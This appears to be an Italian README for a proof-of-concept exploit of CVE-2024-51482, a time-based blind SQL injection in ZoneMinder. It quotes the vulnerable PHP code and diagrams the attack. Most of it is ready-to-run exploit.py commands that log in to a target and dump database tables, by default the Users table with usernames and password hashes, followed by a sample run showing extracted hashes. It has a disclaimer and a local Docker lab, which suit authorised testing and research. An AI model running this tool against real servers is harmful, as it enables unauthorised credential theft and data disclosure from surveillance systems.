
Proof of Concept di SQL injection basata sul tempo per CVE-2024-51482 in ZoneMinder, con laboratorio Docker riproducibile ed estrazione automatica dei dati.
⚠️ Solo per scopi educativi e ricerca di sicurezza autorizzata. Eseguire questo strumento su sistemi di cui non si è proprietari o senza autorizzazione scritta è illegale.
Questo repository contiene un PoC di SQL injection basata sul tempo che prende di mira ZoneMinder.
Lo strumento consente:
Include anche un lab Docker completamente riproducibile per test sicuri.
ZoneMinder è un'applicazione software di videosorveglianza a circuito chiuso gratuita e open source. La vulnerabilità deriva da una convalida insufficiente dell'input nell'endpoint removetag di ZoneMinder. L'input fornito dall'utente viene incorporato direttamente nelle query SQL senza una corretta sanificazione o parametrizzazione, consentendo agli aggressori di iniettare payload SQL booleani dannosi. Lo sfruttamento sfrutta:
SLEEP(x - IF(condition, 0, x))
per dedurre i dati tramite i tempi di risposta.
Frammento di codice vulnerabile completo da Avviso del Mantenitore GitHub:
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
Attaccante Applicazione Web ZoneMinder
│ │
│ [Auth] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← sessione autenticata
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<payload> │
│────────────────────────────────────────►│
│ Query booleana SQL eseguita
│ IF(condizione, nessun ritardo, SLEEP)
│◄────────────────────────────────────────│
│ Risposta ritardata (oracolo temporale) │ ← condizione dedotta
│ │
│ Richieste ripetute │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Differenze nei tempi rivelano i caratteri │
│ │
│ Ricerca binaria per carattere │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Dati estratti (1 carattere alla volta) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Divulgazione completa del database │
│ │
✓ Esfiltrazione completa dei dati tramite SQLi cieca
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configurare le variabili d'ambiente
docker compose up -d
Senza alcun flag, lo strumento si autenticherà al target, ne verificherà la vulnerabilità e, se vulnerabile, eseguirà il dump delle colonne ID, Username, Password, Name ed Email dalla tabella zm.Users (comando dump-users).
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
Controlla solo se il target è vulnerabile.
python exploit.py -t http://target/zm -u <username> -p <password> check
Esegue il dump delle colonne ID, Username, Password, Name ed Email dalla tabella zm.Users. Comando predefinito se non ne viene specificato nessuno.
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
Elenca tutti i database.
python exploit.py -t http://target/zm -u <username> -p <password> list-db
Elenca le tabelle in un database specificato.
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
Elenca le colonne in una tabella specificata.
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
Esegue il dump di tutti i dati da una tabella specificata.
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
È anche possibile specificare le colonne di cui fare il dump (default: tutte):
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
--no-display
Se il file non esiste, verrà creato. Se esiste già, i nuovi risultati verranno aggiunti.
--outfile results.csv
| Flag | Descrizione | Esempio |
|---|---|---|
-t, --target | URL base del target | -t http://localhost:8080 |
-u, --user | Nome utente per l'autenticazione | -u admin |
-p, --password | Password per l'autenticazione | -p admin |
--cookie | Usa un cookie ZMSESSID esistente invece di fare login | --cookie abc123... |
| Comando | Descrizione | Esempio |
|---|---|---|
check | Verifica se il target è vulnerabile (SQLi temporale) | check |
dump-users | Esegue il dump diretto della tabella zm.Users | dump-users |
list-db | Elenca tutti i database | list-db |
list-tables | Elenca le tabelle da un database | list-tables --db zm |
list-columns | Elenca le colonne da una tabella | list-columns --db zm --table Users |
dump-table | Esegue il dump di una tabella specifica | dump-table --db zm --table Users |
| Flag | Descrizione | Obbligatorio | Esempio |
|---|---|---|---|
--db | Nome del database | Sì (per tabelle/colonne) | --db zm |
--table | Nome della tabella | Sì (per colonne/dump) | --table Users |
--columns | Elenco separato da virgole di colonne da scaricare | Opzionale | --columns Username,Password |
| Flag | Descrizione | Default | Esempio |
|---|---|---|---|
--threads | Numero di thread di estrazione concorrenti | 5 | --threads 6 |
--delay | Ritardo utilizzato per SQLi basata sul tempo | 3 | --delay 2 |
--no-check | Salta il controllo della vulnerabilità prima dello sfruttamento | False | --no-check |
| Flag | Descrizione | Esempio |
|---|---|---|
--outfile | Salva l'output in un file CSV | --outfile results.csv |
--no-display | Disabilita l'output nel terminale | --no-display |
| Flag | Descrizione | Default | Esempio |
|---|---|---|---|
-v, --verbose | Abilita il logging di debug | False | -v |
--log-file | Percorso del file di log | logs/exploit.log | --log-file out.log |
--no-color | Disabilita l'output colorato | False | --no-color |
python3 exploit.py \
-t http://localhost:8080 \
-u admin -p admin \
dump-table \
--db zm \
--table Users \
--columns Username,Password \
--threads 6 \
--delay 2 \
--outfile dump.csv
dump-users è una scorciatoia per eseguire il dump della tabella zm.Users.--no-check solo se si è certi che il target sia vulnerabile.Il file docker-compose.yml incluso configura un'istanza vulnerabile di ZoneMinder.
cp .env.example .env # Configurare le variabili d'ambiente
docker compose up -d
Accedere all'interfaccia web su http://localhost:8080/ (o sulla porta personalizzata). Le credenziali predefinite sono admin:admin. È quindi possibile eseguire l'exploit contro questa istanza locale per test.
$ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
_________ ____ _______________ ________ _______ ________ _____ .________ ____ _____ ______ ________
\_ ___ \\ \ / /\_ _____/ \_____ \\ _ \ \_____ \ / | | | ____//_ | / | | / __ \ \_____ \
/ \ \/ \ Y / | __)_ ______ / ____// /_\ \ / ____/ / | |_ ______|____ \ | | / | |_ > < / ____/
\ \____ \ / | \/_____// \\ \_/ \/ \ / ^ //_____// \ | |/ ^ // -- \/ \
\______ / \___/ /_______ / \_______ \\_____ /\_______ \\____ | /______ / |___|\____ | \______ /\_______ \
\/ \/ \/ \/ \/ |__| \/ |__| \/ \/
[∗] URL del target: http://localhost:8080/
[∗] Modulo: dump-table
[∗] L'output verrà salvato in: ./out.csv
[∗] Tentativo di login con autenticazione nome utente/password
🡲 Credenziali: admin:admin
[+] Autenticazione riuscita come utente admin
[∗] Verifica della vulnerabilità del target...
[+] Il target sembra essere vulnerabile (il tempo di risposta indica un'iniezione riuscita).
[∗] Dump del contenuto della tabella zm.Users...
[+] Colonne trovate: Username, Password
[∗] Recupero del numero di righe nella tabella...
[+] La tabella contiene 2 righe. Avvio del dump...
[∗] Progresso: 5/5 | admin
[∗] Progresso: 60/60 | $2h$12$NHZs...
[+] Riga 1 recuperata: admin, $2h$12$NHZs...
[∗] Progresso: 4/4 | flag
[∗] Progresso: 60/60 | $2y$10$1Ei....
[+] Riga 2 recuperata: flag, $2y$10$1Ei....
+----------+----------------+
| Username | Password |
+----------+----------------+
| admin | $2h$12$NHZs... |
| flag | $2y$10$1Ei.... |
+----------+----------------+
[+] Risultati scritti in ./out.csv
[+] Lavoro completato. Ciao!